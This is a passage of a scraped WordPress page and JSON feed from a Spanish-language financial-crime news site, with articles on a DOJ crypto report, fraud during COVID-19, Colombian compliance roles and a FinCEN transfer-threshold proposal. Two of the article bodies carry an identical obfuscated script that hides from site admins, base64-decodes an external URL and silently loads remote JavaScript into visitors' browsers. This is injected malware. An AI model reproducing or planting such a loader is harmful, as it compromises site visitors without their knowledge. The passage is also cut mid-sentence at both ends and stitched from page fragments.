cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, 